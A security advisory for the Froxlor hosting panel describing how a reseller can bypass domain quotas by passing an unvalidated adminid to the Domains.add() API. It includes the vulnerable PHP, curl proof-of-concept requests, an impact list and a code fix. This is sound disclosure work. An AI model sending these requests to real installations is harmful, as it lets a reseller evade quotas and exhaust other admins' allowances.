Froxlor has a Reseller Domain Quota Bypass via Unvalidated adminid Parameter in Domains.add()GHSA-jvx4-xv3m-hrj4

Summary

In Domains.add(), the adminid parameter is accepted from user input and used without validation when the calling reseller does not have the customers_see_all permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's domains_used counter is incremented) and potentially exhausting another admin's quota.

Details

In lib/Froxlor/Api/Commands/Domains.php, the add() method accepts adminid as an optional parameter at line 327:

$adminid = intval($this->getParam('adminid', true, $this->getUserDetail('adminid')));

The validation for this parameter only runs when the caller has customers_see_all == '1' (lines 410-421):

if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {
    $admin_stmt = Database::prepare("
        SELECT * FROM `" . TABLE_PANEL_ADMINS . "`
        WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')");
    $admin = Database::pexecute_first($admin_stmt, [
        'adminid' => $adminid
    ], true, true);
    if (empty($admin)) {
        Response::dynamicError("Selected admin cannot have any more domains or could not be found");
    }
    unset($admin);
}

When a reseller does not have customers_see_all (the common case for limited resellers), there is no else branch to force $adminid = $this->getUserDetail('adminid'). The unvalidated $adminid flows directly into:

1. The domain INSERT at line 757: 'adminid' => $adminid
2. The quota increment at lines 862-868:

$upd_stmt = Database::prepare("
    UPDATE `" . TABLE_PANEL_ADMINS . "` SET `domains_used` = `domains_used` + 1
    WHERE `adminid` = :adminid
");
Database::pexecute($upd_stmt, ['adminid' => $adminid], true, true);

Compare with Domains.update() at lines 1386-1387 which correctly handles this case:

} else {
    $adminid = $result['adminid'];
}

The initial quota check at line 321 checks the caller's own quota ($this->getUserDetail('domains_used')), but since the caller's domains_used is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely.

Note: The getCustomerData() call at line 407 does correctly restrict the customerid to the reseller's own customers (via Customers.get which filters by adminid). However, this does not prevent the adminid field itself from being spoofed.

PoC

# Step 1: Create a domain with the reseller's API key, specifying a different admin's ID
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
  -d '{"command": "Domains.add", "params": {"domain": "bypass-test-1.com", "customerid": 3, "adminid": 1}}'

# Where:
# - RESELLER_API_KEY:RESELLER_API_SECRET = API credentials for a reseller WITHOUT customers_see_all
# - customerid=3 = one of the reseller's own customers
# - adminid=1 = the super-admin's ID (or any other admin's ID)

# Step 2: Verify the domain was created with adminid=1
# In the database: SELECT adminid, domain FROM panel_domains WHERE domain='bypass-test-1.com';
# Expected: adminid=1

# Step 3: Check the reseller's quota was NOT incremented
# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=<reseller_id>;
# Expected: domains_used unchanged

# Step 4: Check the target admin's quota WAS incremented
# In the database: SELECT adminid, domains_used, domains FROM panel_admins WHERE adminid=1;
# Expected: domains_used incremented by 1

# Step 5: Repeat with different domain names to demonstrate unlimited creation
curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
  -d '{"command": "Domains.add", "params": {"domain": "bypass-test-2.com", "customerid": 3, "adminid": 1}}'

curl -s -u RESELLER_API_KEY:RESELLER_API_SECRET -X POST https://froxlor.example/api.php \
  -d '{"command": "Domains.add", "params": {"domain": "bypass-test-3.com", "customerid": 3, "adminid": 1}}'

# The reseller's domains_used remains unchanged, allowing indefinite creation

Impact

1. Quota bypass: A reseller can create unlimited domains beyond their allocated quota, since their own domains_used counter is never incremented.
2. Quota exhaustion DoS: The target admin's domains_used counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation.
3. Data integrity violation: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by adminid) but remain active on the server.
4. Accounting inaccuracy: Resource usage reporting and billing tied to admin quotas becomes incorrect.

Recommended Fix

Add an else branch to force $adminid to the caller's own admin ID when customers_see_all != '1', consistent with the pattern used in Domains.update():

// In lib/Froxlor/Api/Commands/Domains.php, after line 421:

if ($this->getUserDetail('customers_see_all') == '1' && $adminid != $this->getUserDetail('adminid')) {
    $admin_stmt = Database::prepare("
        SELECT * FROM `" . TABLE_PANEL_ADMINS . "`
        WHERE `adminid` = :adminid AND (`domains_used` < `domains` OR `domains` = '-1')");
    $admin = Database::pexecute_first($admin_stmt, [
        'adminid' => $adminid
    ], true, true);
    if (empty($admin)) {
        Response::dynamicError("Selected admin cannot have any more domains or could not be found");
    }
    unset($admin);
} else {
    // Force adminid to the caller's own ID when they don't have customers_see_all
    $adminid = intval($this->getUserDetail('adminid'));
}